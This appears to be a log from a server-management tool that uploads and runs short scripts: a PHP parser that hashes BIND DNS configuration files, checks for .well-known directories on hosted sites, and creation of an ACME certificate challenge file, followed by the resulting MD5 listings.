2025-12-29 21:54:29: Establishing a connection
2025-12-29 21:54:29: 

PUT: /tmp/pkp574122

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-29 21:54:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp574122; rm /tmp/pkp574122'

2025-12-29 21:54:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-30 06:00:03: Establishing a connection
2025-12-30 06:00:03: Establishing a connection
2025-12-30 06:00:03: 

PUT: /tmp/pkp132259

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-30 06:00:04: 

chmod 755 /tmp/pkp132259; /tmp/pkp132259; rm /tmp/pkp132259

2025-12-30 06:00:04: 


1


2025-12-30 06:00:05: Establishing a connection
2025-12-30 06:00:05: 

PUT: /tmp/pkp915493

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > XbuufNK_5m_Y4eLVxZ__QsQnD1ArYCIX31DTojDxjq8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XbuufNK_5m_Y4eLVxZ__QsQnD1ArYCIX31DTojDxjq8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XbuufNK_5m_Y4eLVxZ__QsQnD1ArYCIX31DTojDxjq8


2025-12-30 06:00:05: 

chmod 755 /tmp/pkp915493; /tmp/pkp915493; rm /tmp/pkp915493

2025-12-30 06:00:05: 




2025-12-30 06:00:07: Establishing a connection
2025-12-30 06:00:08: Establishing a connection
2025-12-30 06:00:09: 

PUT: /tmp/pkp252541

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-30 06:00:10: 

chmod 755 /tmp/pkp252541; /tmp/pkp252541; rm /tmp/pkp252541

2025-12-30 06:00:10: 


0


2025-12-31 06:00:02: Establishing a connection
2025-12-31 06:00:02: Establishing a connection
2025-12-31 06:00:03: 

PUT: /tmp/pkp811086

#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:00:04: 

chmod 755 /tmp/pkp811086; /tmp/pkp811086; rm /tmp/pkp811086

2025-12-31 06:00:04: 


0


2025-12-31 06:00:06: Establishing a connection
2025-12-31 06:00:06: Establishing a connection
2025-12-31 06:00:06: 

PUT: /tmp/pkp595669

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 06:00:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp595669; rm /tmp/pkp595669'

2025-12-31 06:00:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
